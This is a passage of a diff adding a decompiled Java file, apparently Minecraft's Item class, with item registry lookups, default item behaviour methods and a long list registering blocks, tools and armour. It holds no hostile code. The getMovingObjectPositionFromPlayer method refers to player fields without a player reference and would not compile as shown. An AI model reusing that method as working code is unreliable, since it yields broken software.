+import net.minecraft.util.StatCollector;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class Item
+{
+  public static final RegistryNamespaced itemRegistry = new RegistryNamespaced();
+  private static final Map BLOCK_TO_ITEM = Maps.newHashMap();
+  protected static final UUID itemModifierUUID = UUID.fromString("CB3F55D3-645C-4F38-A497-9C13A33DB5CF");
+  
+  private CreativeTabs tabToDisplayOn;
+  
+  protected static Random itemRand = new Random();
+  
+
+  protected int maxStackSize = 64;
+  
+
+  private int maxDamage;
+  
+
+  protected boolean bFull3D;
+  
+
+  protected boolean hasSubtypes;
+  
+  private Item containerItem;
+  
+  private String potionEffect;
+  
+  private String unlocalizedName;
+  
+  private static final String __OBFID = "CL_00000041";
+  
+
+  public Item() {}
+  
+
+  public static int getIdFromItem(Item itemIn)
+  {
+    return itemIn == null ? 0 : itemRegistry.getIDForObject(itemIn);
+  }
+  
+  public static Item getItemById(int id)
+  {
+    return (Item)itemRegistry.getObjectById(id);
+  }
+  
+  public static Item getItemFromBlock(Block blockIn)
+  {
+    return (Item)BLOCK_TO_ITEM.get(blockIn);
+  }
+  
+
+
+
+
+  public static Item getByNameOrId(String id)
+  {
+    Item var1 = (Item)itemRegistry.getObject(new ResourceLocation(id));
+    
+    if (var1 == null)
+    {
+      try
+      {
+        return getItemById(Integer.parseInt(id));
+      }
+      catch (NumberFormatException localNumberFormatException) {}
+    }
+    
+
+
+
+    return var1;
+  }
+  
+
+
+
+  public boolean updateItemStackNBT(NBTTagCompound nbt)
+  {
+    return false;
+  }
+  
+  public Item setMaxStackSize(int maxStackSize)
+  {
+    this.maxStackSize = maxStackSize;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    return false;
+  }
+  
+  public float getStrVsBlock(ItemStack stack, Block p_150893_2_)
+  {
+    return 1.0F;
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    return itemStackIn;
+  }
+  
+
+
+
+
+  public ItemStack onItemUseFinish(ItemStack stack, World worldIn, EntityPlayer playerIn)
+  {
+    return stack;
+  }
+  
+
+
+
+  public int getItemStackLimit()
+  {
+    return maxStackSize;
+  }
+  
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return 0;
+  }
+  
+  public boolean getHasSubtypes()
+  {
+    return hasSubtypes;
+  }
+  
+  protected Item setHasSubtypes(boolean hasSubtypes)
+  {
+    this.hasSubtypes = hasSubtypes;
+    return this;
+  }
+  
+
+
+
+  public int getMaxDamage()
+  {
+    return maxDamage;
+  }
+  
+
+
+
+  protected Item setMaxDamage(int maxDurability)
+  {
+    maxDamage = maxDurability;
+    return this;
+  }
+  
+  public boolean isDamageable()
+  {
+    return (maxDamage > 0) && (!hasSubtypes);
+  }
+  
+
+
+
+
+
+
+
+  public boolean hitEntity(ItemStack stack, EntityLivingBase target, EntityLivingBase attacker)
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean onBlockDestroyed(ItemStack stack, World worldIn, Block blockIn, BlockPos pos, EntityLivingBase playerIn)
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canHarvestBlock(Block blockIn)
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean itemInteractionForEntity(ItemStack stack, EntityPlayer playerIn, EntityLivingBase target)
+  {
+    return false;
+  }
+  
+
+
+
+  public Item setFull3D()
+  {
+    bFull3D = true;
+    return this;
+  }
+  
+
+
+
+  public boolean isFull3D()
+  {
+    return bFull3D;
+  }
+  
+
+
+
+
+  public boolean shouldRotateAroundWhenRendering()
+  {
+    return false;
+  }
+  
+
+
+
+  public Item setUnlocalizedName(String unlocalizedName)
+  {
+    this.unlocalizedName = unlocalizedName;
+    return this;
+  }
+  
+
+
+
+
+  public String getUnlocalizedNameInefficiently(ItemStack stack)
+  {
+    String var2 = getUnlocalizedName(stack);
+    return var2 == null ? "" : StatCollector.translateToLocal(var2);
+  }
+  
+
+
+
+  public String getUnlocalizedName()
+  {
+    return "item." + unlocalizedName;
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    return "item." + unlocalizedName;
+  }
+  
+  public Item setContainerItem(Item containerItem)
+  {
+    this.containerItem = containerItem;
+    return this;
+  }
+  
+
+
+
+  public boolean getShareTag()
+  {
+    return true;
+  }
+  
+  public Item getContainerItem()
+  {
+    return containerItem;
+  }
+  
+
+
+
+  public boolean hasContainerItem()
+  {
+    return containerItem != null;
+  }
+  
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    return 16777215;
+  }
+  
+
+
+
+
+  public void onUpdate(ItemStack stack, World worldIn, Entity entityIn, int itemSlot, boolean isSelected) {}
+  
+
+
+
+  public void onCreated(ItemStack stack, World worldIn, EntityPlayer playerIn) {}
+  
+
+
+
+  public boolean isMap()
+  {
+    return false;
+  }
+  
+
+
+
+  public EnumAction getItemUseAction(ItemStack stack)
+  {
+    return EnumAction.NONE;
+  }
+  
+
+
+
+  public int getMaxItemUseDuration(ItemStack stack)
+  {
+    return 0;
+  }
+  
+
+
+
+
+  public void onPlayerStoppedUsing(ItemStack stack, World worldIn, EntityPlayer playerIn, int timeLeft) {}
+  
+
+
+
+
+  protected Item setPotionEffect(String potionEffect)
+  {
+    this.potionEffect = potionEffect;
+    return this;
+  }
+  
+  public String getPotionEffect(ItemStack stack)
+  {
+    return potionEffect;
+  }
+  
+  public boolean isPotionIngredient(ItemStack stack)
+  {
+    return getPotionEffect(stack) != null;
+  }
+  
+
+
+
+  public void addInformation(ItemStack stack, EntityPlayer playerIn, List tooltip, boolean advanced) {}
+  
+
+
+
+  public String getItemStackDisplayName(ItemStack stack)
+  {
+    return StatCollector.translateToLocal(new StringBuilder(String.valueOf(getUnlocalizedNameInefficiently(stack))).append(".name").toString()).trim();
+  }
+  
+  public boolean hasEffect(ItemStack stack)
+  {
+    return stack.isItemEnchanted();
+  }
+  
+
+
+
+  public EnumRarity getRarity(ItemStack stack)
+  {
+    return stack.isItemEnchanted() ? EnumRarity.RARE : EnumRarity.COMMON;
+  }
+  
+
+
+
+  public boolean isItemTool(ItemStack stack)
+  {
+    return (getItemStackLimit() == 1) && (isDamageable());
+  }
+  
+  protected MovingObjectPosition getMovingObjectPositionFromPlayer(World worldIn, EntityPlayer playerIn, boolean useLiquids)
+  {
+    float var4 = prevRotationPitch + (rotationPitch - prevRotationPitch);
+    float var5 = prevRotationYaw + (rotationYaw - prevRotationYaw);
+    double var6 = prevPosX + (posX - prevPosX);
+    double var8 = prevPosY + (posY - prevPosY) + playerIn.getEyeHeight();
+    double var10 = prevPosZ + (posZ - prevPosZ);
+    Vec3 var12 = new Vec3(var6, var8, var10);
+    float var13 = MathHelper.cos(-var5 * 0.017453292F - 3.1415927F);
+    float var14 = MathHelper.sin(-var5 * 0.017453292F - 3.1415927F);
+    float var15 = -MathHelper.cos(-var4 * 0.017453292F);
+    float var16 = MathHelper.sin(-var4 * 0.017453292F);
+    float var17 = var14 * var15;
+    float var19 = var13 * var15;
+    double var20 = 5.0D;
+    Vec3 var22 = var12.addVector(var17 * var20, var16 * var20, var19 * var20);
+    return worldIn.rayTraceBlocks(var12, var22, useLiquids, !useLiquids, false);
+  }
+  
+
+
+
+  public int getItemEnchantability()
+  {
+    return 0;
+  }
+  
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    subItems.add(new ItemStack(itemIn, 1, 0));
+  }
+  
+
+
+
+  public CreativeTabs getCreativeTab()
+  {
+    return tabToDisplayOn;
+  }
+  
+
+
+
+  public Item setCreativeTab(CreativeTabs tab)
+  {
+    tabToDisplayOn = tab;
+    return this;
+  }
+  
+
+
+
+
+  public boolean canItemEditBlocks()
+  {
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean getIsRepairable(ItemStack toRepair, ItemStack repair)
+  {
+    return false;
+  }
+  
+
+
+
+  public Multimap getItemAttributeModifiers()
+  {
+    return HashMultimap.create();
+  }
+  
+  public static void registerItems()
+  {
+    registerItemBlock(Blocks.stone, new ItemMultiTexture(Blocks.stone, Blocks.stone, new Function()
+    {
+      private static final String __OBFID = "CL_00002178";
+      
+      public String apply(ItemStack stack) {
+        return BlockStone.EnumType.getStateFromMeta(stack.getMetadata()).func_176644_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("stone"));
+    registerItemBlock(Blocks.grass, new ItemColored(Blocks.grass, false));
+    registerItemBlock(Blocks.dirt, new ItemMultiTexture(Blocks.dirt, Blocks.dirt, new Function()
+    {
+      private static final String __OBFID = "CL_00002169";
+      
+      public String apply(ItemStack stack) {
+        return BlockDirt.DirtType.byMetadata(stack.getMetadata()).getUnlocalizedName();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("dirt"));
+    registerItemBlock(Blocks.cobblestone);
+    registerItemBlock(Blocks.planks, new ItemMultiTexture(Blocks.planks, Blocks.planks, new Function()
+    {
+      private static final String __OBFID = "CL_00002168";
+      
+      public String apply(ItemStack stack) {
+        return BlockPlanks.EnumType.func_176837_a(stack.getMetadata()).func_176840_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("wood"));
+    registerItemBlock(Blocks.sapling, new ItemMultiTexture(Blocks.sapling, Blocks.sapling, new Function()
+    {
+      private static final String __OBFID = "CL_00002167";
+      
+      public String apply(ItemStack stack) {
+        return BlockPlanks.EnumType.func_176837_a(stack.getMetadata()).func_176840_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("sapling"));
+    registerItemBlock(Blocks.bedrock);
+    registerItemBlock(Blocks.sand, new ItemMultiTexture(Blocks.sand, Blocks.sand, new Function()
+    {
+      private static final String __OBFID = "CL_00002166";
+      
+      public String apply(ItemStack stack) {
+        return BlockSand.EnumType.func_176686_a(stack.getMetadata()).func_176685_d();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("sand"));
+    registerItemBlock(Blocks.gravel);
+    registerItemBlock(Blocks.gold_ore);
+    registerItemBlock(Blocks.iron_ore);
+    registerItemBlock(Blocks.coal_ore);
+    registerItemBlock(Blocks.log, new ItemMultiTexture(Blocks.log, Blocks.log, new Function()
+    {
+      private static final String __OBFID = "CL_00002165";
+      
+      public String apply(ItemStack stack) {
+        return BlockPlanks.EnumType.func_176837_a(stack.getMetadata()).func_176840_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("log"));
+    registerItemBlock(Blocks.log2, new ItemMultiTexture(Blocks.log2, Blocks.log2, new Function()
+    {
+      private static final String __OBFID = "CL_00002164";
+      
+      public String apply(ItemStack stack) {
+        return BlockPlanks.EnumType.func_176837_a(stack.getMetadata() + 4).func_176840_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("log"));
+    registerItemBlock(Blocks.leaves, new ItemLeaves(Blocks.leaves).setUnlocalizedName("leaves"));
+    registerItemBlock(Blocks.leaves2, new ItemLeaves(Blocks.leaves2).setUnlocalizedName("leaves"));
+    registerItemBlock(Blocks.sponge, new ItemMultiTexture(Blocks.sponge, Blocks.sponge, new Function()
+    {
+      private static final String __OBFID = "CL_00002163";
+      
+      public String apply(ItemStack stack) {
+        return (stack.getMetadata() & 0x1) == 1 ? "wet" : "dry";
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("sponge"));
+    registerItemBlock(Blocks.glass);
+    registerItemBlock(Blocks.lapis_ore);
+    registerItemBlock(Blocks.lapis_block);
+    registerItemBlock(Blocks.dispenser);
+    registerItemBlock(Blocks.sandstone, new ItemMultiTexture(Blocks.sandstone, Blocks.sandstone, new Function()
+    {
+      private static final String __OBFID = "CL_00002162";
+      
+      public String apply(ItemStack stack) {
+        return BlockSandStone.EnumType.func_176673_a(stack.getMetadata()).func_176676_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("sandStone"));
+    registerItemBlock(Blocks.noteblock);
+    registerItemBlock(Blocks.golden_rail);
+    registerItemBlock(Blocks.detector_rail);
+    registerItemBlock(Blocks.sticky_piston, new ItemPiston(Blocks.sticky_piston));
+    registerItemBlock(Blocks.web);
+    registerItemBlock(Blocks.tallgrass, new ItemColored(Blocks.tallgrass, true).func_150943_a(new String[] { "shrub", "grass", "fern" }));
+    registerItemBlock(Blocks.deadbush);
+    registerItemBlock(Blocks.piston, new ItemPiston(Blocks.piston));
+    registerItemBlock(Blocks.wool, new ItemCloth(Blocks.wool).setUnlocalizedName("cloth"));
+    registerItemBlock(Blocks.yellow_flower, new ItemMultiTexture(Blocks.yellow_flower, Blocks.yellow_flower, new Function()
+    {
+      private static final String __OBFID = "CL_00002177";
+      
+      public String apply(ItemStack stack) {
+        return BlockFlower.EnumFlowerType.func_176967_a(BlockFlower.EnumFlowerColor.YELLOW, stack.getMetadata()).func_176963_d();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("flower"));
+    registerItemBlock(Blocks.red_flower, new ItemMultiTexture(Blocks.red_flower, Blocks.red_flower, new Function()
+    {
+      private static final String __OBFID = "CL_00002176";
+      
+      public String apply(ItemStack stack) {
+        return BlockFlower.EnumFlowerType.func_176967_a(BlockFlower.EnumFlowerColor.RED, stack.getMetadata()).func_176963_d();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("rose"));
+    registerItemBlock(Blocks.brown_mushroom);
+    registerItemBlock(Blocks.red_mushroom);
+    registerItemBlock(Blocks.gold_block);
+    registerItemBlock(Blocks.iron_block);
+    registerItemBlock(Blocks.stone_slab, new ItemSlab(Blocks.stone_slab, Blocks.stone_slab, Blocks.double_stone_slab).setUnlocalizedName("stoneSlab"));
+    registerItemBlock(Blocks.brick_block);
+    registerItemBlock(Blocks.tnt);
+    registerItemBlock(Blocks.bookshelf);
+    registerItemBlock(Blocks.mossy_cobblestone);
+    registerItemBlock(Blocks.obsidian);
+    registerItemBlock(Blocks.torch);
+    registerItemBlock(Blocks.mob_spawner);
+    registerItemBlock(Blocks.oak_stairs);
+    registerItemBlock(Blocks.chest);
+    registerItemBlock(Blocks.diamond_ore);
+    registerItemBlock(Blocks.diamond_block);
+    registerItemBlock(Blocks.crafting_table);
+    registerItemBlock(Blocks.farmland);
+    registerItemBlock(Blocks.furnace);
+    registerItemBlock(Blocks.lit_furnace);
+    registerItemBlock(Blocks.ladder);
+    registerItemBlock(Blocks.rail);
+    registerItemBlock(Blocks.stone_stairs);
+    registerItemBlock(Blocks.lever);
+    registerItemBlock(Blocks.stone_pressure_plate);
+    registerItemBlock(Blocks.wooden_pressure_plate);
+    registerItemBlock(Blocks.redstone_ore);
+    registerItemBlock(Blocks.redstone_torch);
+    registerItemBlock(Blocks.stone_button);
+    registerItemBlock(Blocks.snow_layer, new ItemSnow(Blocks.snow_layer));
+    registerItemBlock(Blocks.ice);
+    registerItemBlock(Blocks.snow);
+    registerItemBlock(Blocks.cactus);
+    registerItemBlock(Blocks.clay);
+    registerItemBlock(Blocks.jukebox);
+    registerItemBlock(Blocks.oak_fence);
+    registerItemBlock(Blocks.spruce_fence);
+    registerItemBlock(Blocks.birch_fence);
+    registerItemBlock(Blocks.jungle_fence);
+    registerItemBlock(Blocks.dark_oak_fence);
+    registerItemBlock(Blocks.acacia_fence);
+    registerItemBlock(Blocks.pumpkin);
+    registerItemBlock(Blocks.netherrack);
+    registerItemBlock(Blocks.soul_sand);
+    registerItemBlock(Blocks.glowstone);
+    registerItemBlock(Blocks.lit_pumpkin);
+    registerItemBlock(Blocks.trapdoor);
+    registerItemBlock(Blocks.monster_egg, new ItemMultiTexture(Blocks.monster_egg, Blocks.monster_egg, new Function()
+    {
+      private static final String __OBFID = "CL_00002175";
+      
+      public String apply(ItemStack stack) {
+        return BlockSilverfish.EnumType.func_176879_a(stack.getMetadata()).func_176882_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("monsterStoneEgg"));
+    registerItemBlock(Blocks.stonebrick, new ItemMultiTexture(Blocks.stonebrick, Blocks.stonebrick, new Function()
+    {
+      private static final String __OBFID = "CL_00002174";
+      
+      public String apply(ItemStack stack) {
+        return BlockStoneBrick.EnumType.getStateFromMeta(stack.getMetadata()).getVariantName();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("stonebricksmooth"));
+    registerItemBlock(Blocks.brown_mushroom_block);
+    registerItemBlock(Blocks.red_mushroom_block);
+    registerItemBlock(Blocks.iron_bars);
+    registerItemBlock(Blocks.glass_pane);
+    registerItemBlock(Blocks.melon_block);
+    registerItemBlock(Blocks.vine, new ItemColored(Blocks.vine, false));
+    registerItemBlock(Blocks.oak_fence_gate);
+    registerItemBlock(Blocks.spruce_fence_gate);
+    registerItemBlock(Blocks.birch_fence_gate);
+    registerItemBlock(Blocks.jungle_fence_gate);
+    registerItemBlock(Blocks.dark_oak_fence_gate);
+    registerItemBlock(Blocks.acacia_fence_gate);
+    registerItemBlock(Blocks.brick_stairs);
+    registerItemBlock(Blocks.stone_brick_stairs);
+    registerItemBlock(Blocks.mycelium);
+    registerItemBlock(Blocks.waterlily, new ItemLilyPad(Blocks.waterlily));
+    registerItemBlock(Blocks.nether_brick);
+    registerItemBlock(Blocks.nether_brick_fence);
+    registerItemBlock(Blocks.nether_brick_stairs);
+    registerItemBlock(Blocks.enchanting_table);
+    registerItemBlock(Blocks.end_portal_frame);
+    registerItemBlock(Blocks.end_stone);
+    registerItemBlock(Blocks.dragon_egg);
+    registerItemBlock(Blocks.redstone_lamp);
+    registerItemBlock(Blocks.wooden_slab, new ItemSlab(Blocks.wooden_slab, Blocks.wooden_slab, Blocks.double_wooden_slab).setUnlocalizedName("woodSlab"));
+    registerItemBlock(Blocks.sandstone_stairs);
+    registerItemBlock(Blocks.emerald_ore);
+    registerItemBlock(Blocks.ender_chest);
+    registerItemBlock(Blocks.tripwire_hook);
+    registerItemBlock(Blocks.emerald_block);
+    registerItemBlock(Blocks.spruce_stairs);
+    registerItemBlock(Blocks.birch_stairs);
+    registerItemBlock(Blocks.jungle_stairs);
+    registerItemBlock(Blocks.command_block);
+    registerItemBlock(Blocks.beacon);
+    registerItemBlock(Blocks.cobblestone_wall, new ItemMultiTexture(Blocks.cobblestone_wall, Blocks.cobblestone_wall, new Function()
+    {
+      private static final String __OBFID = "CL_00002173";
+      
+      public String apply(ItemStack stack) {
+        return BlockWall.EnumType.func_176660_a(stack.getMetadata()).func_176659_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("cobbleWall"));
+    registerItemBlock(Blocks.wooden_button);
+    registerItemBlock(Blocks.anvil, new ItemAnvilBlock(Blocks.anvil).setUnlocalizedName("anvil"));
+    registerItemBlock(Blocks.trapped_chest);
+    registerItemBlock(Blocks.light_weighted_pressure_plate);
+    registerItemBlock(Blocks.heavy_weighted_pressure_plate);
+    registerItemBlock(Blocks.daylight_detector);
+    registerItemBlock(Blocks.redstone_block);
+    registerItemBlock(Blocks.quartz_ore);
+    registerItemBlock(Blocks.hopper);
+    registerItemBlock(Blocks.quartz_block, new ItemMultiTexture(Blocks.quartz_block, Blocks.quartz_block, new String[] { "default", "chiseled", "lines" }).setUnlocalizedName("quartzBlock"));
+    registerItemBlock(Blocks.quartz_stairs);
+    registerItemBlock(Blocks.activator_rail);
+    registerItemBlock(Blocks.dropper);
+    registerItemBlock(Blocks.stained_hardened_clay, new ItemCloth(Blocks.stained_hardened_clay).setUnlocalizedName("clayHardenedStained"));
+    registerItemBlock(Blocks.barrier);
+    registerItemBlock(Blocks.iron_trapdoor);
+    registerItemBlock(Blocks.hay_block);
+    registerItemBlock(Blocks.carpet, new ItemCloth(Blocks.carpet).setUnlocalizedName("woolCarpet"));
+    registerItemBlock(Blocks.hardened_clay);
+    registerItemBlock(Blocks.coal_block);
+    registerItemBlock(Blocks.packed_ice);
+    registerItemBlock(Blocks.acacia_stairs);
+    registerItemBlock(Blocks.dark_oak_stairs);
+    registerItemBlock(Blocks.slime_block);
+    registerItemBlock(Blocks.double_plant, new ItemDoublePlant(Blocks.double_plant, Blocks.double_plant, new Function()
+    {
+      private static final String __OBFID = "CL_00002172";
+      
+      public String apply(ItemStack stack) {
+        return BlockDoublePlant.EnumPlantType.func_176938_a(stack.getMetadata()).func_176939_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("doublePlant"));
+    registerItemBlock(Blocks.stained_glass, new ItemCloth(Blocks.stained_glass).setUnlocalizedName("stainedGlass"));
+    registerItemBlock(Blocks.stained_glass_pane, new ItemCloth(Blocks.stained_glass_pane).setUnlocalizedName("stainedGlassPane"));
+    registerItemBlock(Blocks.prismarine, new ItemMultiTexture(Blocks.prismarine, Blocks.prismarine, new Function()
+    {
+      private static final String __OBFID = "CL_00002171";
+      
+      public String apply(ItemStack stack) {
+        return BlockPrismarine.EnumType.func_176810_a(stack.getMetadata()).func_176809_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("prismarine"));
+    registerItemBlock(Blocks.sea_lantern);
+    registerItemBlock(Blocks.red_sandstone, new ItemMultiTexture(Blocks.red_sandstone, Blocks.red_sandstone, new Function()
+    {
+      private static final String __OBFID = "CL_00002170";
+      
+      public String apply(ItemStack stack) {
+        return BlockRedSandstone.EnumType.func_176825_a(stack.getMetadata()).func_176828_c();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    }).setUnlocalizedName("redSandStone"));
+    registerItemBlock(Blocks.red_sandstone_stairs);
+    registerItemBlock(Blocks.stone_slab2, new ItemSlab(Blocks.stone_slab2, Blocks.stone_slab2, Blocks.double_stone_slab2).setUnlocalizedName("stoneSlab2"));
+    registerItem(256, "iron_shovel", new ItemSpade(ToolMaterial.IRON).setUnlocalizedName("shovelIron"));
+    registerItem(257, "iron_pickaxe", new ItemPickaxe(ToolMaterial.IRON).setUnlocalizedName("pickaxeIron"));
+    registerItem(258, "iron_axe", new ItemAxe(ToolMaterial.IRON).setUnlocalizedName("hatchetIron"));
+    registerItem(259, "flint_and_steel", new ItemFlintAndSteel().setUnlocalizedName("flintAndSteel"));
+    registerItem(260, "apple", new ItemFood(4, 0.3F, false).setUnlocalizedName("apple"));
+    registerItem(261, "bow", new ItemBow().setUnlocalizedName("bow"));
+    registerItem(262, "arrow", new Item().setUnlocalizedName("arrow").setCreativeTab(CreativeTabs.tabCombat));
+    registerItem(263, "coal", new ItemCoal().setUnlocalizedName("coal"));
+    registerItem(264, "diamond", new Item().setUnlocalizedName("diamond").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(265, "iron_ingot", new Item().setUnlocalizedName("ingotIron").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(266, "gold_ingot", new Item().setUnlocalizedName("ingotGold").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(267, "iron_sword", new ItemSword(ToolMaterial.IRON).setUnlocalizedName("swordIron"));
+    registerItem(268, "wooden_sword", new ItemSword(ToolMaterial.WOOD).setUnlocalizedName("swordWood"));
+    registerItem(269, "wooden_shovel", new ItemSpade(ToolMaterial.WOOD).setUnlocalizedName("shovelWood"));
+    registerItem(270, "wooden_pickaxe", new ItemPickaxe(ToolMaterial.WOOD).setUnlocalizedName("pickaxeWood"));
+    registerItem(271, "wooden_axe", new ItemAxe(ToolMaterial.WOOD).setUnlocalizedName("hatchetWood"));
+    registerItem(272, "stone_sword", new ItemSword(ToolMaterial.STONE).setUnlocalizedName("swordStone"));
+    registerItem(273, "stone_shovel", new ItemSpade(ToolMaterial.STONE).setUnlocalizedName("shovelStone"));
+    registerItem(274, "stone_pickaxe", new ItemPickaxe(ToolMaterial.STONE).setUnlocalizedName("pickaxeStone"));
+    registerItem(275, "stone_axe", new ItemAxe(ToolMaterial.STONE).setUnlocalizedName("hatchetStone"));
+    registerItem(276, "diamond_sword", new ItemSword(ToolMaterial.EMERALD).setUnlocalizedName("swordDiamond"));
+    registerItem(277, "diamond_shovel", new ItemSpade(ToolMaterial.EMERALD).setUnlocalizedName("shovelDiamond"));
+    registerItem(278, "diamond_pickaxe", new ItemPickaxe(ToolMaterial.EMERALD).setUnlocalizedName("pickaxeDiamond"));
+    registerItem(279, "diamond_axe", new ItemAxe(ToolMaterial.EMERALD).setUnlocalizedName("hatchetDiamond"));
+    registerItem(280, "stick", new Item().setFull3D().setUnlocalizedName("stick").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(281, "bowl", new Item().setUnlocalizedName("bowl").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(282, "mushroom_stew", new ItemSoup(6).setUnlocalizedName("mushroomStew"));
+    registerItem(283, "golden_sword", new ItemSword(ToolMaterial.GOLD).setUnlocalizedName("swordGold"));
+    registerItem(284, "golden_shovel", new ItemSpade(ToolMaterial.GOLD).setUnlocalizedName("shovelGold"));
+    registerItem(285, "golden_pickaxe", new ItemPickaxe(ToolMaterial.GOLD).setUnlocalizedName("pickaxeGold"));
+    registerItem(286, "golden_axe", new ItemAxe(ToolMaterial.GOLD).setUnlocalizedName("hatchetGold"));
+    registerItem(287, "string", new ItemReed(Blocks.tripwire).setUnlocalizedName("string").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(288, "feather", new Item().setUnlocalizedName("feather").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(289, "gunpowder", new Item().setUnlocalizedName("sulphur").setPotionEffect(PotionHelper.gunpowderEffect).setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(290, "wooden_hoe", new ItemHoe(ToolMaterial.WOOD).setUnlocalizedName("hoeWood"));
+    registerItem(291, "stone_hoe", new ItemHoe(ToolMaterial.STONE).setUnlocalizedName("hoeStone"));
+    registerItem(292, "iron_hoe", new ItemHoe(ToolMaterial.IRON).setUnlocalizedName("hoeIron"));
+    registerItem(293, "diamond_hoe", new ItemHoe(ToolMaterial.EMERALD).setUnlocalizedName("hoeDiamond"));
+    registerItem(294, "golden_hoe", new ItemHoe(ToolMaterial.GOLD).setUnlocalizedName("hoeGold"));
+    registerItem(295, "wheat_seeds", new ItemSeeds(Blocks.wheat, Blocks.farmland).setUnlocalizedName("seeds"));
+    registerItem(296, "wheat", new Item().setUnlocalizedName("wheat").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(297, "bread", new ItemFood(5, 0.6F, false).setUnlocalizedName("bread"));
+    registerItem(298, "leather_helmet", new ItemArmor(ItemArmor.ArmorMaterial.LEATHER, 0, 0).setUnlocalizedName("helmetCloth"));
+    registerItem(299, "leather_chestplate", new ItemArmor(ItemArmor.ArmorMaterial.LEATHER, 0, 1).setUnlocalizedName("chestplateCloth"));
+    registerItem(300, "leather_leggings", new ItemArmor(ItemArmor.ArmorMaterial.LEATHER, 0, 2).setUnlocalizedName("leggingsCloth"));
+    registerItem(301, "leather_boots", new ItemArmor(ItemArmor.ArmorMaterial.LEATHER, 0, 3).setUnlocalizedName("bootsCloth"));
+    registerItem(302, "chainmail_helmet", new ItemArmor(ItemArmor.ArmorMaterial.CHAIN, 1, 0).setUnlocalizedName("helmetChain"));
+    registerItem(303, "chainmail_chestplate", new ItemArmor(ItemArmor.ArmorMaterial.CHAIN, 1, 1).setUnlocalizedName("chestplateChain"));
+    registerItem(304, "chainmail_leggings", new ItemArmor(ItemArmor.ArmorMaterial.CHAIN, 1, 2).setUnlocalizedName("leggingsChain"));
+    registerItem(305, "chainmail_boots", new ItemArmor(ItemArmor.ArmorMaterial.CHAIN, 1, 3).setUnlocalizedName("bootsChain"));
+    registerItem(306, "iron_helmet", new ItemArmor(ItemArmor.ArmorMaterial.IRON, 2, 0).setUnlocalizedName("helmetIron"));
+    registerItem(307, "iron_chestplate", new ItemArmor(ItemArmor.ArmorMaterial.IRON, 2, 1).setUnlocalizedName("chestplateIron"));
+    registerItem(308, "iron_leggings", new ItemArmor(ItemArmor.ArmorMaterial.IRON, 2, 2).setUnlocalizedName("leggingsIron"));
+    registerItem(309, "iron_boots", new ItemArmor(ItemArmor.ArmorMaterial.IRON, 2, 3).setUnlocalizedName("bootsIron"));
+    registerItem(310, "diamond_helmet", new ItemArmor(ItemArmor.ArmorMaterial.DIAMOND, 3, 0).setUnlocalizedName("helmetDiamond"));
+    registerItem(311, "diamond_chestplate", new ItemArmor(ItemArmor.ArmorMaterial.DIAMOND, 3, 1).setUnlocalizedName("chestplateDiamond"));
+    registerItem(312, "diamond_leggings", new ItemArmor(ItemArmor.ArmorMaterial.DIAMOND, 3, 2).setUnlocalizedName("leggingsDiamond"));
